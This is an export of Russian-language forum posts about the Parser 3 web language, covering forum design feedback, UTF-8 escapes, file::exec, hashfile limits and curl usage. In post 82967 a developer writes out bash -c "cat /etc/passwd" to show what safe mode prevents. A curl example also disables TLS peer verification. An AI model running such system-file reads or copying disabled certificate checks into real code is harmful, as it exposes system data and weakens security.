Вот только как еще сделать перезапись для потомков перемещенного узла (поддерева).\
И еще не работает перемещение родителя под ребенка."
"82886","[quote]Вот только как еще сделать перезапись для потомков перемещенного узла (поддерева).[/quote]\
\
[url=https://github.com/gzzz/parser/blob/master/closure_tree/closure_tree.p]Пример[/url].\
В таком виде не использую, но общее представление получить можно.\
\
[quote]И еще не работает перемещение родителя под ребенка.[/quote]\
\
Не понимаю смысла и цели подобной операции.\
Вы получите цикл в дереве."
"82887","Пишем сюда или в [url=\"/feedback\"]обратную связь[/url]."
"82888","1. Заходите в \"[url=\"/forum/mysites/\"]Мои сайты[/url]\".\
2. Добавляете разработчика. \
3. Добавляете сайты.\
\
Англоязычные сайты - идем в \"[url=\"/en/forum/mysites/\"]My web-sites[/url]\".\
\
Разработчики премодерируются, до утверждения они не появятся на сайте. После утверждения разработчика сайты будут добавляться сразу.\
\
Если кто уже есть \"В действии\", но разработчик не привязан вашему к профилю в форуме - пишите, привяжем."
"82889","Форма добавления и была-то не сильно удобной, но теперь — издевательство над клаустрофобами: поле сообщения в две (!) строки.\
https://dl.dropboxusercontent.com/u/6795309/img/bugs/2016-04-28_170218.png\
\
Считаю, в двадцать первом веке вообще бы можно отказаться от всплывающих окон и сделать нормальную форму на каждой странице сообщения.\
Раньше над списком веток была ссылка «форум», с помощью которой очень удобно было обновлять страницу.\
Теперь приходится кликать в угол меню.\
\
Без буллитов ветки сливаются.\
https://dl.dropboxusercontent.com/u/6795309/img/bugs/2016-04-28_170305.png\
\
Нужны разделители, например так, по аналогии с другими серыми линиями:\
https://dl.dropboxusercontent.com/u/6795309/img/bugs/2016-04-28_170517.png\
\
P. S. В качестве эксперимента предлагаю рассмотреть альтернативный линейный вид представления веток.\
Можно с отступами, но все сообщения на одной странице.\
Мой alt-forum приказал долго жить после аварии на сервере, да и баловство это — дублировать форум на постороннем ресурсе.\
Готов поучаствовать в процессе разработки такого представления.\
\
P. P. S. После редактирования сообщения теряются пустые строки — всё сливается в кучу."
"82890","Пожалуйста, уберите фразу \"Он немного сложнее HTML и его использование не требует особенного умения программировать.\". Все мы знаем, что это не вполне так. \
И многие из нас, наверняка, сталкивались с презрительным отношением к языку со стороны других разработчиков именно из-за этой фразы на главной странице."
"82891","Но в целом круто, единственное не хватает разделителей между сайтбаром и контентом.\
Уменьшил бы отступы между ответами.\
Профиль перенес бы наверх.\
Навигацию по страницам растянул бы по всей ширине, чтобы было проще выбирать страницу, так приходиться чаще нажимать на мышку.\
И зачем форма поиска в подвале сайте. Ей вообще кто нибудь пользуется?\
Ну и пожалуй последние сообщения (ответы) должны отображаться снизу, а не сверху.\
\
P.S. Для полного концепта обновите электронную версию документации."
"82892","По мне так простота это скорее повод для гордости, чем недостаток. :) Да и в целом я скорее согласен с этим утверждением. Парсер по сути продвинутый макропроцессор, причем им вполне можно пользоваться как макропроцессором. А макропроцессоры вроде как считаются проще обычных языков программирования, как минимум с точки зрения синтаксиса."
"82893","Без называния HTML языком программирования и без отсылок к отсутствию компетенции разработчиков."
"82894","[quote]Форма добавления и была-то не сильно удобной, но теперь — издевательство над клаустрофобами: поле сообщения в две (!) строки.[/quote]\
\
Какой-то баг, поправили.\
\
[quote]Без буллитов ветки сливаются.[/quote]\
\
Пока увеличен отступ между ветками.\
\
[quote]Мой alt-forum приказал долго жить после аварии на сервере, да и баловство это — дублировать форум на постороннем ресурсе.[/quote]\
\
Если код сохранился - можем для начала где-то на parser.ru или рядом и поднять...\
\
[quote]Готов поучаствовать в процессе разработки такого представления.[/quote]\
\
Ну, настройку вида в профиле сделать не сложно, а вот как сделать сам вид? Если там\
XML надо менять, то это думаю с Мишей надо как-то согласовать, чтобы скажем он поменял XML,  а скажем ты сделаешь шаблоны. \
\
[quote]P. P. S. После редактирования сообщения теряются пустые строки — всё сливается в кучу.[/quote]\
\
Тут пускай Миша смотрит. :) Оно не после, это похоже текущий текст сообщения выдается в XML без пустых строк."
"82895","[quote]Пока увеличен отступ между ветками.[/quote]\
\
Не очень помогло.\
Нужен какой-то ориентир корня ветки, тогда и интервал можно уменьшить.\
\
[quote]Если код сохранился - можем для начала где-то на parser.ru или рядом и поднять...[/quote]\
\
Там такой код, что проще заново написать.\
\
[quote]Ну, настройку вида в профиле сделать не сложно, а вот как сделать сам вид? Если там XML надо менять, то это думаю с Мишей надо как-то согласовать, чтобы скажем он поменял XML, а скажем ты сделаешь шаблоны.[/quote]\
\
Подходящий XML уже есть — вывод заголовков, нужно только тело сообщений в него добавить.\
\
[quote]Оно не после, это похоже текущий текст сообщения выдается в XML без пустых строк.[/quote]\
\
До обновления такого точно не было, я часто сообщения редактирую."
"82896","А ссылку на корень форума вернуть нельзя?\
Там как раз пустая строка.\
https://dl.dropboxusercontent.com/u/6795309/img/bugs/2016-04-28_191501.png\
\
Очень неудобно тянуться к меню."
"82898","[quote]До обновления такого точно не было, я часто сообщения редактирую.[/quote]\
\
Судя по размер diff между старой версией и текущей будет очень неплохо, если это единственная проблема. :)"
"82899","Сделали."
"82900","Сделали."
"82901","Спасибо.\
\
Только в самом корне не хватает — ей удобно обновлять страницу."
"82904","[quote]P.S. Для полного концепта обновите электронную версию документации.[/quote]\
\
Так вроде как все выложено для версии 3.4.4..."
"82905","[url=\"http://www.parser.ru/docs/lang/?inetname2ip.htm\"]http://www.parser.ru/docs/lang/?inetname2ip.htm[/url]\
\
ip2name. Определение домена по IP адресу\
\
[code]^inet:ip2name[доменное.имя] \
^inet:ip2name[доменное.имя;опции] [/code]\
\
а должно быть\
\
[code]^inet:ip2name[IP-адрес] \
^inet:ip2name[IP-адрес;опции] [/code]"
"82907","[quote]Без называния HTML языком программирования[/quote]\
\
Нет такого.\
\
[quote]и без отсылок к отсутствию компетенции разработчиков.[/quote]\
\
И здесь мне кажется попытка читать между строк. Из \"пользоваться может даже любитель\" никак не следует, что \"все пользователи любители\". И да, программировать на парсере действительно проще, чем скажем сервлеты на Java писать.\
\
Опять же - предлагай свой вариант. :)"
"82908","[quote]Без называния HTML языком программирования\
Нет такого.[/quote]\
\
Есть.\
Не дословно, но явно.\
\
[quote]Из \"пользоваться может даже любитель\" никак не следует, что \"все пользователи любители\". И да, программировать на парсере действительно проще, чем скажем сервлеты на Java писать.[/quote]\
\
Так я и не спорю, что он простой.\
Но это ловушка из рязряда «обычная версия программы» и «профессиональная версия» — обычной никто пользоваться не хочет.\
Я считаю, что не нужно говорить об уровне программиста, нужно говорить о простоте языка.\
\
[quote]Опять же - предлагай свой вариант.[/quote]\
\
Всё уже написано: «Parser 3 — простой и удобный объектно-ориентированный язык, позволяющий быстро создавать хорошие сайты».\
Предложение про HTML не нужно.\
\
Я бы ещё про безопасность добавил (всеми любимый taint):\
«Parser 3 — простой и безопасный объектно-ориентированный язык, позволяющий быстро создавать хорошие сайты».\
\
\
Забавно, «[url=http://www.parser.ru/forum/?id=81059]у нас некоторое время как замер в разработке new.parser.ru. На нем написано иначе[/url]».\
Оказалось, что написано так же."
"82909","Предлагаю:\
[code]media=\"all\" textarea {\
	font-family: 'Helvetica Neue', Helvetica, sans-serif;\
	font-size: 100%;\
}[/code]\
\
Конский моноширинный кегль в форме сообщения совершенно не удобен.\
\
Уже писал Мише, но раз новая версия, быть может, руки дойдут быстрее: [url=http://www.parser.ru/forum/?type=self]в своих тредах[/url] какой-то бардак с сортировкой.\
Ветки идут в произвольном порядке, хотя должны идти по дате ответа пользователя в них."
"82911","[quote]Оказалось, что написано так же.[/quote]\
\
Речь о том, что раньше первое что видел  пользователь - вопрос из FAQ,\
а теперь он видит указанный в сообщении слоган:\
\
\"Parser 3 — простой и удобный объектно-ориентированный язык, позволяющий быстро создавать хорошие сайты.\"\
\
к которому куда меньше вопросов. :)\
\
[quote]Предложение про HTML не нужно.[/quote]\
\
OK, убрал.\
\
Другое дело, что получается и сам вопрос \"Что такое Parser?\" не нужен (про это уже написано в слогане). Может переделать в \"Как возник Parser?\"? В какой-нибудь другой вопрос?"
"82912","[quote]Может переделать в \"Как возник Parser?\"? В какой-нибудь другой вопрос?[/quote]\
«Что это?»\
\
Будет логично со следующим вопросом:\
Что это?\
Зачем он?\
\
Не нравится обзац\
[quote]Если есть PHP, то для чего Parser?\
PHP — это язык программирования, требующий соответствующей подготовки. Parser же простыми средствами решает сложные задачи, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.[/quote]\
\
Тоже сквозит, что PHP — настоящий язык, требующий подготовки, а мы тут в кубики играемся.\
Нужно подумать над формулировкой."
"82913","[quote]Тоже сквозит, что PHP — настоящий язык, требующий подготовки, а мы тут в кубики играемся.[/quote]\
Ага, про пхп надо убрать совсем.\
\
Можно эти три блока в каком-то таком ключе исполнить:\
Про генезис: парсер создается с 97ого\
Про идею: родился с одной целью, создавать отличные сайты\
Про удобства: не требует установки, и легка разворачивается, скопировал по фтп и полетели\
\
\
\
И по моему аргумент с поддержкой кодировок уже лет N не аргумент, а должное."
"82914","А можно не показывать в открытом виде e-mail разработчика, а давать писать через форму?\
Спама и так хватает."
"82915","[quote]Считаю, в двадцать первом веке вообще бы можно отказаться от всплывающих окон и сделать нормальную форму на каждой странице сообщения.[/quote]\
\
безусловно. тогда оно:\
+ смотрится лучше\
+ открывается быстрее (хотя не сильно, т.к. всё равно для анти-спама надо делать ajax-запрос)\
+ т.к. это не popup, то не блокируется браузерами\
\
однако:\
- открыв окно ответа очень неудобно продолжать лазить по форуму (например, если я хочу написать один ответ на 2 сообщения или сослаться на содержимое предыдущее сообщение автора).\
и этот недостаток, по моему, перекрывает все достоинства открывания формы \"в div-чике\".\
\
\
[quote]Без буллитов ветки сливаются.[/quote]\
\
согласен. самому очень не нравится. они ещё показывали информацию о сообщении: квадратик -- корневое сообщение, диск -- не корневое, круг -- сообщение \"закрыто\". особенно полезны эти буллиты были при не древовидном отображении сообщений (например, при отображении списка последних сообщений). не знаю, кому они помещали.\
\
\
[quote]После редактирования сообщения теряются пустые строки — всё сливается в кучу.[/quote]\
\
fixed"
"82916","[quote]кому они помещали[/quote]\
\
Не то чтобы помешали, просто посчитал это лишний визуальным шумом.\
\
[quote]квадратик -- корневое сообщение, диск -- не корневое, круг -- сообщение \"закрыто\"[/quote]\
\
А какая разница корневое оно или нет? По мне так, сообщение либо интересно, либо нет. \
Ну а для закрытого круг еще был, только что, заменил его на [code]opacity: 0.7[/code] (еле нашел, где посмотреть результат).\
\
Но вернуть, конечно, можно -- если настаиваете ;)"
"82917","[quote]однако:\
- открыв окно ответа очень неудобно продолжать лазить по форуму (например, если я хочу написать один ответ на 2 сообщения или сослаться на содержимое предыдущее сообщение автора).\
и этот недостаток, по моему, перекрывает все достоинства открывания формы \"в div-чике\".[/quote]\
\
Лично я всегда открываю новую вкладку."
"82918","Кстати, не стоит ли завести публичный официальный репозиторий где-нибудь на github'е или bitbucket'е и выложить туда исходные коды всех примеров?\
\
Так и быстро подглядеть в код будет проще, чем возиться с архивами, и дорабатывать, если найдутся желающие.\
\
Одно плохо, подсветки парсерного синтаксиса там нет."
"82919","[quote]Уже писал Мише, но раз новая версия, быть может, руки дойдут быстрее: в своих тредах какой-то бардак с сортировкой.[/quote]\
\
вижу, что проблема со своими тредами проявляется при включённой в настройках опции \"новые сообщения в тредах помещать вниз\".\
завтра, надеюсь, исправлю.\
\
P.S. вроде исправил"
"82922","[code]$s[one^#7Ftwo]\
^s.lower[][/code]\
\
Работает.\
\
[code]$s[one^#80two]\
^s.lower[][/code]\
\
Не работает: [i]change_case_UTF8 error: end pointers do not match[/i].\
Все символы с hex-кодом 80 и дальше вызывают эту ошибку.\
\
Файл в UTF-8.\
\
Так и задумано?\
\
Parser 3.4.5, OS X x64."
"82923","[quote]Так и задумано?[/quote]\
\
А какие варианты? Это же не валидный UTF-8..."
"82924","Ну, оно не в открытом виде, а выдается через JS, как и остальные e-mail адреса. И если не хочется указывать e-mail, можно просто его не указывать - альтернативно можно указывать ссылку на свой сайт и на профиль в форуме."
"82925","[quote]Это же не валидный UTF-8...[/quote]\
\
Я что-то не понимаю.\
Почему?\
\
Символ с 128-го кода вдруг не UTF?\
\
Я считал, что там допустим двузначный hex, а значит до FF."
"82926","https://en.wikipedia.org/wiki/UTF-8#Description - там наглядная табличка, что валидно, а что нет. Значение 0x80 в принципе не может быть первым байтом UTF-8 символа. \"The leading byte has two or more high-order 1s followed by a 0, while continuation bytes all have '10' in the high-order position.\""
"82927","Тогда неясно: можно ли hex-кодом ^#XX записать в явном виде символ за пределами 7F?"
"82928","А в чем проблема?\
\
[code]$s[one ^#D0^#90^#D0^#91 two]\
^s.lower[]\
[/code]\
one аб two"
"82929","[quote]А в чем проблема?[/quote]\
\
Неразрывный пробел хочу.\
В обычном виде его в коде плохо видно, а Hex'ом — очень наглядно.\
\
$[a^#A0b] даст ошибку."
"82930","http://www.fileformat.info/info/unicode/char/00a0/index.htm\
UTF-8 (hex) 0xC2 0xA0"
"82931","^#C2^#A0, ясно.\
Спасибо."
"82932","[quote]открыв окно ответа очень неудобно продолжать лазить по форуму (например, если я хочу написать один ответ на 2 сообщения или сослаться на содержимое предыдущее сообщение автора)[/quote]\
\
Кстати, а ведь ничего не мешает совместить оба варианта.\
И тем, кому удобно открывать форму в новом окне смогут это сделать по ссылке.\
\
A-la:\
[code]<a class=\"reply\" href=\"/forum/m/?id=…\">Ответить</a>\
…\
$(function(){\
	$('.reply').click(fucntion(){\
		$('.reply-form').toggleClass('visible');\
		…\
		return false;\
	});\
})[/code]"
"82933","Думал стили не прогрузились или невалидные в кэше, раз 5 нажал Ctrl+F5, пока не понял, что это теперь так.\
\
Мне кажется, что есть два вектора в вёрстке:\
 1) Или делаются искусственные границы логических областей (рамки, бордеры, цвета полей)\
\
 2) Или то же самое достигается \"воздухом\" (разлеты и выравнивания в интуитивно-читаемой модульной сетке). \
\
И вот в этом дизайне мне кажется, такая неудачная грань, когда воздуха мало (т.е. разлеты произвольны во всех местах, и модульная сетка вообще не читается) - но уже нет никаких границ (рамок, фонов областей)\
\
В итоге все логические области распадаются вообще.\
\
P.S.: Дайте опцию в настройках переключить на \"старую тему\" :)"
"82934","Пренебрегая ограничениями файловых систем, интересует какой технический предел на количество строк у hashfile? (для parser 3.4.4 ~ 3.4.5 + 64bit, Linux/Debian)\
\
Не зная как и что там используется  (double,int, (2^64 byte / 8000 byte)) - не хочется гадать, хочется спросить у клуба знатоков."
"82935","Это обычно? :)"
"82936","С чего вы взяли что он «нормальный»?\
\
Та программа, которой вы проверяете, судя по всему ориентируется не на расширение, а на заголовок файла."
"82937","А то лет пять назад  Миша говорил невозможно.\
\
У меня в профиле некий разработчик Maxx - это явно не я, емейл не мой и сайт тоже не мой. Мне это всё удалить надо или вы?"
"82940","[quote]Кириллические домены поддерживаются?[/quote]\
\
http://parser.ru/news/\
\
[quote]Реализована поддержка IDNA (кириллических доменов), как при загрузке файлов по HTTP, так и в виде отдельных методов кодирования и декодирования (^строка.idna[] и ^string:idna[закодированная строка]). [/quote]\
\
[quote]Мне это всё удалить надо или вы?[/quote]\
\
Удалил."
"82945","Без буллетов и разделителей никакие отступы не помогают различать ветки.\
Огромные жирные корни веток тоже удобства не добавляют.\
\
Себе сделал custom-стиль:\
[quote]ul.forum { margin: 0 0 20px 0 !important; border-bottom: 1px solid #ccc !important; padding-bottom: 10px !important; }\
li.root > a { font-size: 100% !important; }\
textarea[name=\"body\"] { font-family: 'Helvetica Neue', Helvetica, sans-serif !important; font-size: 100% !important; }[/quote]\
\
Ибо мучительно.\
\
В целом на экране стало помещаться раза в полтора меньше информации."
"82946","Ваши картинки (ex: https://club-p.ru/imgs/ads/1-1618082.jpg) на самом деле в PNG-формате. Вы можете в этом убедится разными способами, например в firefox открыть свойства изображения, или сохранить картинку в файл на диске и открыть в любом hex-редакторе. Большинство современных программ (включая браузеры) смотрят не на расширение файла а на тип, прописанный в заголовке самого файла. Поэтому всё работает, но лучше так не делать"
"82947","Убрали шум, а в итоге растянули все и добавили кучу воды ((\
Раньше на главной форума помещалось до 35 строк, а теперь и до 20 не всегда дотягивает (((\
Сайдбар бы лучше ограничили внутри темы, пикселей бы до 300, а то 500 и место под ним пропадает, да и не нужен он особо внутри темы."
"82948","Добавили возможность вводить пароль без звездочек, так тогда скрывайте поле для повторного ввода пароля."
"82949","OS X 10.11.4 x64.\
Необходимо из скрипта запустить ещё один фоном.\
\
[code]$args[^table::create[nameless]{\
run.html\
test=666\
}]\
$file[^file::exec[starter.sh;;$args]]\
[$file.status]\
$file.stderr[/code]\
\
starter.sh:\
[code]#!/usr/bin/env bash\
\
nohup /…/cgi-bin/parser345/parser3.cgi $@ 2 > /…/log/starter.log &[/code]\
\
Ошибка: [i][0] nohup: can't detach from console: Inappropriate ioctl for device.[/i]\
Из консоли вызов\
[code]sh starter.sh run.html test=666[/code]\
прекрасно выполняется, ошибок нет.\
\
Кто-нибудь из работающих под макосью сталкивался?\
\
Попробовал звать через [url=https://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard]reattach-to-user-namespace[/url] от авторов tmux — вызов перестаёт быть фоновым: вызывющий ждёт окончания работы вызываемого."
"82950","[quote]Необходимо из скрипта запустить ещё один фоном. [/quote]\
\
В Linux точно работает так:\
\
http://www.parser.ru/docs/lang/?filecgiexec.htm\
\
\"Пример скрипта для исполнения процесса в фоновом режиме\
При необходимости исполнения длительного процесса его можно запустить в фоновом режиме с помощью промежуточного скрипта.\
При этом чтобы скрипт завершился сразу, необходимо перенаправить stdout и stderr процесса: ...\"\
\
[quote]nohup /…/cgi-bin/parser345/parser3.cgi $@ 2 > /…/log/starter.log &[/quote]\
\
Судя по всему stdout не перенаправлен."
"82951","https://imagetragick.com/ \
\
[quote]There are multiple vulnerabilities in ImageMagick, a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild.[/quote]\
\
[quote]If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one of these two things (but preferably both!):\
\
1. Verify that all image files begin with the expected \"magic bytes\" corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info)\
2. Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in “/etc/ImageMagick”. The below policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL.[/quote]"
"82953","[quote]Verify that all image files begin with the expected \"magic bytes\" corresponding to the image file types you support before sending them to ImageMagick for processing.[/quote]\
\
А вот мне кажется, что это они по умолчанию должны считать, что содержание соответствует расширению, и только при какой-нибудь опции пытаться автодетектировать формат по содержимому. И тогда проблема была бы на порядок меньше..."
"82954","Не поймите меня не правильно, но в документации есть указание, что длина ключа-значения для hashfile = 8000 байт.\
\
И ни слова о лимите на кол-во таких записей, которые могут быть ограничены внутренним устройством парсера, seek-адресацией, или просто файловой системой - как минимум хочется иметь хоть полслова.\
\
Когда я читаю мануал по MySQL, к примеру, я имею возможность прочитать раздел о пределах таблиц, выделямым байтах под конкретные типы, и так далее. И разумеется это важно знать."
"82955","Разберитесь и напишите комментарий к документации. Так и делают аккуратные люди. ;)"
"82956","Если \"так надо\", то ок.\
Просто подумал, раз релиз, типа, то некоторых \"пользователей\" (начинающих) это может несколько напугать. \
\
Может в README упомянуть хотя бы об этом."
"82959","Т.е. хотя бы порядок чисел: что там в seek-адресации \"строки\" 65535, unsigned int или double? \
\
А методом тыка такие вещи на develop-виртуалке - просто нет таких дисковых резервов, ибо макс.размер файла на ext4 =~ 16 TB\
\
И есть даже вроде разумное применение огромному hashfile =\
например большой dump заранее перемешанных (сгенеренных вперемешку) = ID из заданного диапазона.\
\
Предположим мы хотим выдавать не uuid и не sha1, не надеясь на предсказуемость первого, и теор.коллизии второго, для какой-то оч.глобальной системы мы хотим пул-хранилище прегенернных ID с гарантированной уникальностью и (псевдо)случайным порядком их следования в общем пуле.\
\
Если делать это средствами DB, взяв какой нить BIGINT UNSIGNED, и вставляя в него рандомно - то в какой-то момент насыщения, вставка каждого сл.числа будет занимать все более возрастающее время 1) из-за проверки UNIQ ключа, 2) из-за совпадения с уже сущ. плюс 3) огромные накладные расходы вокруг всей DB-обвязки.\
\
Вообще, задача не для парсера, конечно. Т.к. попахивает низкоуровневой работой с байтами, а это не область решений для \"веб-фрейморка\". Но так, на правах идеи."
"82960","Берем Хадуп, раскладываем на него хешфайлы и фигачим айдишники."
"82961","Переписал starter.sh, сделав перенаправление stdout и убрав nohup (он оказался не нужен):\
[code]#!/usr/bin/env bash\
 \
/…/cgi-bin/parser345/parser3.cgi $@ >/…/log/starter.log 2>&1 &[/code]\
\
Запускается фоном."
"82962","В данном случае все очень просто - никто и не знает. Мы же не сами написали реализацию hashfile. Используется библиотека SDBM из Apache.\
\
https://apr.apache.org/docs/apr-util/0.9/group__APR__Util__DBM__SDBM.html\
\
Если вы где-нибудь найдете, какие у нее ограничения (или экспериментально узнаете) - хорошо. До этого это видимо никому не было нужно (в том числе и в Apache, поскольку там похоже тоже такой \
информации нет)."
"82963","Под Win абсолютные пути, начинающиеся с имени диска, в file::exec нормально работают.\
\
В OS X «абсолютные» (root-relative — /…) пути расцениваются как относительные.\
Раньше не сталкивался с этим, под nix все пути считаются относительными от текущего исполняемого файла?\
\
[code]@main[]\
# не работает — stat failed: No such file or directory (2), actual filename '/[полный-путь-до-document-root]/bin/bash'\
$shell[/bin/bash]\
# работает\
$shell[../../../../../../bin/bash]\
\
$file[^file::exec[$shell][\
	$.stdin[ls -l]\
]]\
\
[$file.status]\
$file.stderr<hr/>\
$file.text[/code]\
\
Привязываться к относительным путям не хочется.\
А если и абсолютные не работают, то остаются либо линки, либо промежуточные sh-скрипты.\
\
OS X 10.11.4 x64.\
Parser 3.4.5."
"82964","Debian 7/32bit собирался отдельно от остальных, поэтому так получилось.\
Ночные сборки - завтра будут \"правильные\"."
"82965","http://www.parser.ru/docs/lang/?filecgiexec.htm\
\
\"Внимание: все пути в парсере указываются относительно текущего исполняемого файла.\
По аналогии, при запуске внешнего скрипта текущим каталогом для него является каталог, где находится этот скрипт.\"\
\
Плюс http://www.parser.ru/docs/lang/?app1.htm\
\
[quote]либо промежуточные sh-скрипты.[/quote]\
\
У нас везде safe mode, поэтому это единственный путь.\
\
[quote]# работает\
$shell[../../../../../../bin/bash]\
[/quote]\
\
Ночные сборки почему-то собирались с выключенным safe mode, поправил, с завтра не будет работать. :)\
\
И если не писать скрипты с содержанием типа eval \"$1\", то safe mode это достаточно хорошая зашита - даже получив возможность выполнять произвольный код на парсере, все действия будут ограничены файлами, принадлежащему текущему пользователю."
"82966","[quote]http://www.parser.ru/docs/lang/?filecgiexec.htm\
\
\"Внимание: все пути в парсере указываются относительно текущего исполняемого файла.\
По аналогии, при запуске внешнего скрипта текущим каталогом для него является каталог, где находится этот скрипт.\"\
\
Плюс http://www.parser.ru/docs/lang/?app1.htm[/quote]\
\
Читано не раз.\
\
Но неясно: /… — должен в общем случае (без оглядки на safe mode) работать или нет?\
Он считается абсолютным или относительным относительно текущего пути?\
\
[quote]Ночные сборки почему-то собирались с выключенным safe mode, поправил, с завтра не будет работать.[/quote]\
\
Вчера своими глазами видел ошибку parser in safe mode при попытке исполнения апачем parser3.cgi, не принадлежащего пользователю апача.\
А это ночная сборка 3.4.5 для OS X.\
\
[quote]И если не писать скрипты с содержанием типа eval \"$1\", то safe mode это достаточно хорошая зашита - даже получив возможность выполнять произвольный код на парсере, все действия будут ограничены файлами, принадлежащему текущему пользователю.[/quote]\
\
Хочется иметь возможность выполнения консольных команд без обёрток для каждой (с правами текущего пользователя, конечно) и звать bash, передавая ему скрипт, казалось неплохой идеей."
"82967","[quote]Читано не раз.[/quote]\
\
Плохо читано? :)\
\
\"Абсолютный путь начинается слешем, а файл ищется от корня веб-пространства. Файл по относительному пути ищется от каталога, в котором находится запрошенный документ. \"\
\
[quote]казалось неплохой идеей.[/quote]\
\
Но рушит весь safe mode, поскольку позволяет bash -c \"cat /etc/passwd\", от чего в частности safe mode и защищает."
"82968","[quote]Плохо читано?[/quote]\
\
Действительно.\
\
[quote]Но рушит весь safe mode, поскольку позволяет bash -c \"cat /etc/passwd\", от чего в частности safe mode и защищает.[/quote]\
\
Хотел было спросить как такое тот же [url=http://php.net/manual/ru/function.shell-exec.php]PHP[/url] обходит, как увидел сноску «[i]Эта функция недоступна в безопасном режиме.[/i]»."
"82969","У консольного cURL есть замечательный ключ -J (--remote-header-name) который использует content disposition чтобы назвать файл. А у класса curl ничего такого не нашлось. Может быть есть способ получить все заголовки ответа хотя бы? И ручками распарсить?"
"82970","[quote]Может быть есть способ получить все заголовки ответа хотя бы?[/quote]\
\
[code]$headers[^json:parse[^json:string[$response]]][/code]"
"82971","[code]$file[^curl:load[\
   $.url[https://store.artlebedev.ru/]\
   $.useragent[Parser3]\
   $.timeout(10)\
   $.ssl_verifypeer(0)\
]][/code]\
\
Как теперь из $file изъять $response? Не вижу в документации хоть убейте"
"82972","[code]$response[^curl:load[\
   $.url[https://store.artlebedev.ru/]\
   $.useragent[Parser3]\
   $.timeout(10)\
   $.ssl_verifypeer(0)\
]]\
\
$headers[^json:parse[^json:string[$response]]][/code]"
"82973","Ничоси, а это где-то в документации есть? Или передается из уст в уста?"
"82974","Вдогонку к [url=http://www.parser.ru/forum/?id=82431]^break(true)[/url] предлагаю такое:\
[code]^try{\
	…\
}($exception.type eq '…'){\
	$exception.handled(true)\
	catch\
}{\
	finally\
}[/code]\
\
в качестве аналога\
[code]^try{\
	…\
}{\
	^if($exception.type eq '…'){\
		$exception.handled(true)\
		catch\
	}\
}{\
	finally\
}[/code]\
\
И с точным соответствием типу исключения:\
[code]^try{\
	…\
}[…]{\
	$exception.handled(true)\
	catch\
}[…]{\
	$exception.handled(true)\
	catch\
}{\
	finally\
}[/code]\
\
в качестве аналога\
[code]^try{\
	…\
}{\
	^switch[$exception.type]{\
		^case[…]{\
			$exception.handled(true)\
			catch\
		}\
		^case[…]{\
			$exception.handled(true)\
			catch\
		}\
	}\
}{\
	finally\
}[/code]"
"82975","[quote]а это где-то в документации есть? Или передается из уст в уста?[/quote]\
\
Нету.\
Это [url=http://www.parser.ru/forum/?id=79459]хак[/url], [url=http://www.parser.ru/forum/?id=81866]метод для получения заголовков когда-нибудь будет[/url]."
"82977","У слову, подобная задача очень вероятно может замаячить в будущем, да посматриваю в распределенные fs и всякие nosql/key-value хранилища..."
"82978","Насколько понимаю, в переданных параметрах уже нет отличия () от {},\
поэтому \
\
[code]^try{\
	…\
}($exception.type eq '…'){\
	catch\
}\
[/code]\
\
неотличимо от\
\
[code]^try{\
	…\
}{\
	catch\
}{\
	finally\
}[/code]"
"82979","И такой ответ - нужный! :)\
\
Методом гадания на исходниках непойми-чего, и нахождения вот такого куска:\
[code]\
#define PAIRMAX 8008\
...\
long maxbno;               /* size of dirfile in bits */\
int  keyptr;               /* current key for nextkey */\
...\
[/code]\
\
т.е. как я могу понять \"филькину грамоту\", long это платформонезависимых 4 байта на число, причем со знаком, причем это в битах (судя по комментарию)\
\
Типа в худшем случае это:\
\
2 147 483 647 / 8 bits \
= 268 435 455 байт / 8000 (макс.длина ключ+значение) =~ 33 554\
\
Но так, как встречается что-то типа\
[code]\
/* if the block/page size is increased, it breaks perl apr_sdbm_t compatibility */\
#define DBLKSIZ 16384\
#define PBLKSIZ 8192\
[/code]\
\
То не стоит расчитывать больше, чем на 8-16K записей (ключ+значение).\
\
В любом случае, очевидно, что для обслуживания сразу всех пользователей, этот sdbm явно не подходит. Целевое применение, только как \"серверные кукис\", т.е. по файлу на пользователя, а не один файл на всех - это точно."
"82983","[code]\
   $f[^curl:load[$.url[http://ya.ru]]]\
   $h[^hash::create[$f]]\
   ^json:string[$h]\
[/code]\
\
Результат:\
[code]\
  {}\
[/code]"
"82985","Почему-то в iPad'е (iOS 6, Chrome) все ссылки стали работать со второго клика.\
Первый — устанавливает фокус.\
\
Впервые с таким сталкиваюсь, возможно дело в обработки псевдоклассов :hover, :focus, :target сотоварищи."
"82989","Сталкивался с таким поведением на планшете с Windows 7-10 (и мне это нравилось). Сейчас протестировал на трех устройствах с последними версиями iOS (iPad, iPhone) и Android, и последней версией Chrome на них -- не воспроизводится. По-быстрому, удалось выяснить, что под iOS такой эффект есть для ссылок находящихся в элементе от hover которого есть правило со свойством display.\
\
Пример:\
[code]<style>\
.subitems {display: none;}\
.item:hover .subitems {display: block;}\
</style>\
<div class=\"item\">\
  <a href=\"..\">Link</a>\
  <div class=\"subitems\">...</div>\
</div>[/code]"
"82990","Пример ведёт себя аналогично — сначала фокус, потом клик."
"82992","1. Из текстареи получается cookie с html-переводами каретки:\
[code]$cookie:textarea[^textarea.replace[^#0A;<br>]][/code]\
\
2. На следующей странице для простого отображения корректно используется untaint:\
[code]^untaint{$cookie:textarea}[/code]\
\
Пока всё хорошо.\
\
3. У пользователя есть возможность вернуться к п. 1 и внести изменения. Для этого я пытаюсь предзаполнить textarea:\
[code]<textarea>^if(def $cookie:textarea){$toreplace[$cookie:textarea]^toreplace.replace[<br>;^#0A]</textarea>[/code]\
\
[b]Проблема:[/b] здест, на третьем-первом этапе, теряются двойные переносы, превращаясь в текстарее в одиночные. Да, [b]и в сырце тоже.[/b]\
\
Untaint всего п.3 результата не даёт, <pre> в текстарее невозможны... <br><br> почему-то превращается в один перенос, а не в два. Как быть?"
"82993","Чтобы вывести без [url=http://www.parser.ru/docs/lang/opuntainttaint.htm]оптимизации[/url], нужно это явно указать:\
[code]<textarea …>^taint[html;^cookie:textarea.replace[<br>;^#0A]]</textarea>[/code]\
\
Лично мне не очень нравится идея хранить данные у клиента в открытом виде, их могут подменить и по недосмотру легко допустить их вывод as-is.\
\
Про шифрование говорить не буду, для таких задач оно лишнее.\
